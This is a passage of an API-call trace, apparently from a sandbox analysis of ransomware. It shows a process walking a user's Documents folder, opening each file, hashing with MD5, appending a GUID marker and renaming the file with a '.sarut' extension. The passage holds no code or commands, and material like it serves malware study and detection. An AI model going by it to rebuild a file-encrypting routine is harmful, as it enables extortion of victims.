lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.689] CloseHandle (hObject=0x5c4) returned 1 [0268.692] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qi4IqurK09.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qi4iqurk09.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qi4IqurK09.ods.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qi4iqurk09.ods.sarut")) returned 1 [0268.694] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77508dc0, ftCreationTime.dwHighDateTime=0x1d4c69d, ftLastAccessTime.dwLowDateTime=0x8cb2f710, ftLastAccessTime.dwHighDateTime=0x1d4d517, ftLastWriteTime.dwLowDateTime=0x8cb2f710, ftLastWriteTime.dwHighDateTime=0x1d4d517, nFileSizeHigh=0x0, nFileSizeLow=0xeadc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qt-jSAXq.rtf", cAlternateFileName="")) returned 1 [0268.694] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Qt-jSAXq.rtf") returned=".rtf" [0268.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Qt-jSAXq.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qt-jsaxq.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.697] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=60124) returned 1 [0268.697] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.702] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xeab6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.702] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.703] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xeadc, lpOverlapped=0x0) returned 1 [0268.704] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.704] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.704] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.704] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.705] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.705] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.705] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.705] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.705] GetLastError () returned 0x0 [0268.706] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.706] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.706] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xeadc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.706] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.706] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.706] CloseHandle (hObject=0x5c4) returned 1 [0268.710] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Qt-jSAXq.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qt-jsaxq.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Qt-jSAXq.rtf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qt-jsaxq.rtf.sarut")) returned 1 [0268.712] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747bcfe0, ftCreationTime.dwHighDateTime=0x1d4cfd2, ftLastAccessTime.dwLowDateTime=0x29eb5460, ftLastAccessTime.dwHighDateTime=0x1d4d3a5, ftLastWriteTime.dwLowDateTime=0x29eb5460, ftLastWriteTime.dwHighDateTime=0x1d4d3a5, nFileSizeHigh=0x0, nFileSizeLow=0x6520, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-x55k_cPLVq5X206.pptx", cAlternateFileName="S-X55K~1.PPT")) returned 1 [0268.712] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S-x55k_cPLVq5X206.pptx") returned=".pptx" [0268.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S-x55k_cPLVq5X206.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s-x55k_cplvq5x206.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.718] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=25888) returned 1 [0268.719] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.721] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x64fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.721] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.724] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6520, lpOverlapped=0x0) returned 1 [0268.725] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.725] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.725] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.725] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.726] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.726] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.726] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.726] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.726] GetLastError () returned 0x0 [0268.726] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.726] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.726] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6520, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.727] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.727] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.727] CloseHandle (hObject=0x5c4) returned 1 [0268.732] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S-x55k_cPLVq5X206.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s-x55k_cplvq5x206.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S-x55k_cPLVq5X206.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s-x55k_cplvq5x206.pptx.sarut")) returned 1 [0268.734] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afde990, ftCreationTime.dwHighDateTime=0x1d4a3a5, ftLastAccessTime.dwLowDateTime=0xe7e2daf0, ftLastAccessTime.dwHighDateTime=0x1d47bb8, ftLastWriteTime.dwLowDateTime=0xe7e2daf0, ftLastWriteTime.dwHighDateTime=0x1d47bb8, nFileSizeHigh=0x0, nFileSizeLow=0x15f2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SmhleleUG.pptx", cAlternateFileName="SMHLEL~1.PPT")) returned 1 [0268.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmhleleUG.pptx") returned=".pptx" [0268.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmhleleUG.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smhleleug.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.734] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=89898) returned 1 [0268.734] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.737] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.737] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.738] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x15f2a, lpOverlapped=0x0) returned 1 [0268.739] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.739] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.739] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.740] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.740] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.741] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.741] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.741] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.741] GetLastError () returned 0x0 [0268.741] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.741] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.742] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15f2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.742] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.742] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.742] CloseHandle (hObject=0x5c4) returned 1 [0268.744] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmhleleUG.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smhleleug.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmhleleUG.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smhleleug.pptx.sarut")) returned 1 [0268.746] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f89950, ftCreationTime.dwHighDateTime=0x1d4cbdc, ftLastAccessTime.dwLowDateTime=0x25693910, ftLastAccessTime.dwHighDateTime=0x1d4cb1d, ftLastWriteTime.dwLowDateTime=0x25693910, ftLastWriteTime.dwHighDateTime=0x1d4cb1d, nFileSizeHigh=0x0, nFileSizeLow=0x11ff8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SP2GZ4Hm5D5gkPiI7Yd.odt", cAlternateFileName="SP2GZ4~1.ODT")) returned 1 [0268.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SP2GZ4Hm5D5gkPiI7Yd.odt") returned=".odt" [0268.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SP2GZ4Hm5D5gkPiI7Yd.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sp2gz4hm5d5gkpii7yd.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.747] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=73720) returned 1 [0268.747] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.750] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11fd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.751] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.756] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x11ff8, lpOverlapped=0x0) returned 1 [0268.757] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.757] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.757] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.757] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.758] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.758] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.758] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.758] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.758] GetLastError () returned 0x0 [0268.758] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.758] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.759] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11ff8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.759] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.759] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.759] CloseHandle (hObject=0x5c4) returned 1 [0268.762] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SP2GZ4Hm5D5gkPiI7Yd.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sp2gz4hm5d5gkpii7yd.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SP2GZ4Hm5D5gkPiI7Yd.odt.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sp2gz4hm5d5gkpii7yd.odt.sarut")) returned 1 [0268.764] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69962850, ftCreationTime.dwHighDateTime=0x1d4d1f8, ftLastAccessTime.dwLowDateTime=0xeb3ac7e0, ftLastAccessTime.dwHighDateTime=0x1d4ce5f, ftLastWriteTime.dwLowDateTime=0xeb3ac7e0, ftLastWriteTime.dwHighDateTime=0x1d4ce5f, nFileSizeHigh=0x0, nFileSizeLow=0x5da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ueOgE3Fdxzan.rtf", cAlternateFileName="UEOGE3~1.RTF")) returned 1 [0268.764] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ueOgE3Fdxzan.rtf") returned=".rtf" [0268.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ueOgE3Fdxzan.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ueoge3fdxzan.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.765] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1498) returned 1 [0268.765] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.767] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.767] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.769] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x5da, lpOverlapped=0x0) returned 1 [0268.769] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.770] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.770] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.770] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.771] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.771] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.771] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.771] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.771] GetLastError () returned 0x0 [0268.771] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.771] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.771] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.771] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.771] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.771] CloseHandle (hObject=0x5c4) returned 1 [0268.776] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ueOgE3Fdxzan.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ueoge3fdxzan.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ueOgE3Fdxzan.rtf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ueoge3fdxzan.rtf.sarut")) returned 1 [0268.784] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca6ecd0, ftCreationTime.dwHighDateTime=0x1d48066, ftLastAccessTime.dwLowDateTime=0x35944a0, ftLastAccessTime.dwHighDateTime=0x1d4f42b, ftLastWriteTime.dwLowDateTime=0x35944a0, ftLastWriteTime.dwHighDateTime=0x1d4f42b, nFileSizeHigh=0x0, nFileSizeLow=0xb221, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uzFjE-EbKZbDlUR6.docx", cAlternateFileName="UZFJE-~1.DOC")) returned 1 [0268.784] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uzFjE-EbKZbDlUR6.docx") returned=".docx" [0268.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uzFjE-EbKZbDlUR6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uzfje-ebkzbdlur6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.785] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=45601) returned 1 [0268.785] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.789] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb1fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.791] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.793] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb221, lpOverlapped=0x0) returned 1 [0268.794] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.794] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.794] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.794] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.795] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.795] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.795] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.795] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.795] GetLastError () returned 0x0 [0268.795] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.795] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.805] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb221, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.809] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.809] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.810] CloseHandle (hObject=0x5c4) returned 1 [0268.813] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uzFjE-EbKZbDlUR6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uzfje-ebkzbdlur6.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uzFjE-EbKZbDlUR6.docx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uzfje-ebkzbdlur6.docx.sarut")) returned 1 [0268.815] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: 